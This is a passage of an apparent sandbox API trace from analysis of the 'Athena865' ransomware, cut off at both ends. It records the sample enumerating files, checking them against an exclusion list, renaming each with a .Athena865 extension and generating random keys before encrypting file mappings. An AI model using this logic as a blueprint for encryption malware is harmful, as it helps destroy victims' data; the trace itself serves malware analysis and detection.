pbBuffer=0x241d1d8) returned 1 [0100.238] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.238] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0100.243] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0100.243] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.244] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.244] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.245] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26017600, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x26017600, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x260afb80, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", cAlternateFileName="{A8F69~1")) returned 1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2=".") returned 1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="..") returned 1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="windows") returned -1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="temp") returned -1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="boot") returned -1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.245] lstrlenW (lpString="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo") returned 56 [0100.245] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo" | out: lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo") returned="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo" [0100.245] lstrlenW (lpString="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo") returned 56 [0100.245] lstrlenW (lpString="Athena865") returned 9 [0100.245] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.245] lstrlenW (lpString=".dll") returned 4 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.245] lstrlenW (lpString=".lnk") returned 4 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.245] lstrlenW (lpString=".ini") returned 4 [0100.245] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.246] lstrlenW (lpString=".sys") returned 4 [0100.246] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.246] lstrlenW (lpString="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo") returned 56 [0100.246] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo.Athena865") returned 113 [0100.246] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.247] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.247] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.247] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.248] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.248] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.248] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.250] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.252] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.253] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.253] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.254] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2ed6d040, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x2ed6d040, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x2ee9db40, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", cAlternateFileName="{A8F69~2")) returned 1 [0100.254] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.254] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.254] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.254] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.254] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.254] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.254] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.254] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.254] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.255] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.255] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.255] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.255] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.255] lstrlenW (lpString="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo") returned 56 [0100.255] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo" | out: lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo") returned="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo" [0100.255] lstrlenW (lpString="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo") returned 56 [0100.255] lstrlenW (lpString="Athena865") returned 9 [0100.255] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.255] lstrlenW (lpString=".dll") returned 4 [0100.255] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.255] lstrlenW (lpString=".lnk") returned 4 [0100.255] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.255] lstrlenW (lpString=".ini") returned 4 [0100.255] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.255] lstrlenW (lpString=".sys") returned 4 [0100.255] lstrcmpiW (lpString1="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.255] lstrlenW (lpString="{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo") returned 56 [0100.255] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo.Athena865") returned 113 [0100.255] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.257] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{A8F69A00-BBEC-42A5-A3EF-BF81814BD449}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{a8f69a00-bbec-42a5-a3ef-bf81814bd449}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.257] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0100.257] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.257] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.257] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.258] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0100.260] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0100.260] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.261] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.261] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.261] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xab0b53e0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xab0b53e0, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xab14d960, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", cAlternateFileName="{B46F4~1")) returned 1 [0100.261] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.261] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.261] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2=".") returned 1 [0100.261] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="..") returned 1 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="windows") returned -1 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="temp") returned -1 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="boot") returned -1 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.262] lstrlenW (lpString="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo") returned 56 [0100.262] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo" | out: lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo") returned="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo" [0100.262] lstrlenW (lpString="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo") returned 56 [0100.262] lstrlenW (lpString="Athena865") returned 9 [0100.262] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.262] lstrlenW (lpString=".dll") returned 4 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.262] lstrlenW (lpString=".lnk") returned 4 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.262] lstrlenW (lpString=".ini") returned 4 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.262] lstrlenW (lpString=".sys") returned 4 [0100.262] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.262] lstrlenW (lpString="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo") returned 56 [0100.262] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo.Athena865") returned 113 [0100.262] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.263] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.263] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.263] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.264] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.264] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.264] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.266] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.268] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.269] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.269] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.270] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xb4d37a60, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xb4d37a60, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xb4e68560, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x178, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", cAlternateFileName="{B46F4~2")) returned 1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.270] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.270] lstrlenW (lpString="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo") returned 56 [0100.270] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo" | out: lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo") returned="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo" [0100.270] lstrlenW (lpString="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo") returned 56 [0100.271] lstrlenW (lpString="Athena865") returned 9 [0100.271] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.271] lstrlenW (lpString=".dll") returned 4 [0100.271] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.271] lstrlenW (lpString=".lnk") returned 4 [0100.271] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.271] lstrlenW (lpString=".ini") returned 4 [0100.271] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.271] lstrlenW (lpString=".sys") returned 4 [0100.271] lstrcmpiW (lpString1="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.271] lstrlenW (lpString="{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo") returned 56 [0100.271] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo.Athena865") returned 113 [0100.271] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.272] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{B46F41EE-AB11-4C6A-890B-DF55C28A4B11}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{b46f41ee-ab11-4c6a-890b-df55c28a4b11}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.272] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=376) returned 1 [0100.272] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.273] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.273] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.273] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480, lpName=0x0) returned 0x154 [0100.276] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480) returned 0x100000 [0100.276] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.277] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.277] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.277] FindNextFileW (in: 